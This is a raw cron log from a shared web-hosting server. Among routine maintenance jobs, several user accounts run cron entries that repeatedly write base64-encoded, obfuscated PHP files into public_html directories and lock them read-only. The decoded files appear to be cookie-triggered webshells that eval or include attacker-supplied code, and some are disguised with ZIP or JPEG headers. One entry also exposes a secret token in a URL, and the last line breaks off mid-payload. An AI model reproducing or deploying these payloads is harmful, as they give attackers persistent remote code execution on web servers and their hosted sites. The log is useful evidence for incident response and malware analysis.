Mar  1 05:54:02 medusa CROND[7970]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:55:02 medusa CROND[32402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:55:02 medusa CROND[32403]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:55:02 medusa CROND[32404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:55:02 medusa CROND[32405]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:55:02 medusa CROND[32406]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:55:02 medusa CROND[32407]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:55:02 medusa CROND[32409]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:55:02 medusa CROND[32411]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:55:02 medusa CROND[32412]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:55:02 medusa CROND[32417]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:55:02 medusa CROND[32421]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:55:02 medusa CROND[32422]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:55:02 medusa CROND[32423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:55:02 medusa CROND[32424]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:55:02 medusa CROND[32425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:55:02 medusa CROND[32426]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:55:02 medusa CROND[32427]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:55:02 medusa CROND[32431]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:55:02 medusa CROND[32433]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:55:02 medusa CROND[32434]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:55:02 medusa CROND[32430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:55:02 medusa CROND[32438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:56:01 medusa CROND[24562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:56:01 medusa CROND[24563]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:56:01 medusa CROND[24564]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:56:01 medusa CROND[24565]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:56:01 medusa CROND[24567]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:56:01 medusa CROND[24571]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:56:01 medusa CROND[24572]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:56:01 medusa CROND[24570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:56:01 medusa CROND[24573]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:56:01 medusa CROND[24575]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:56:01 medusa CROND[24576]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmIC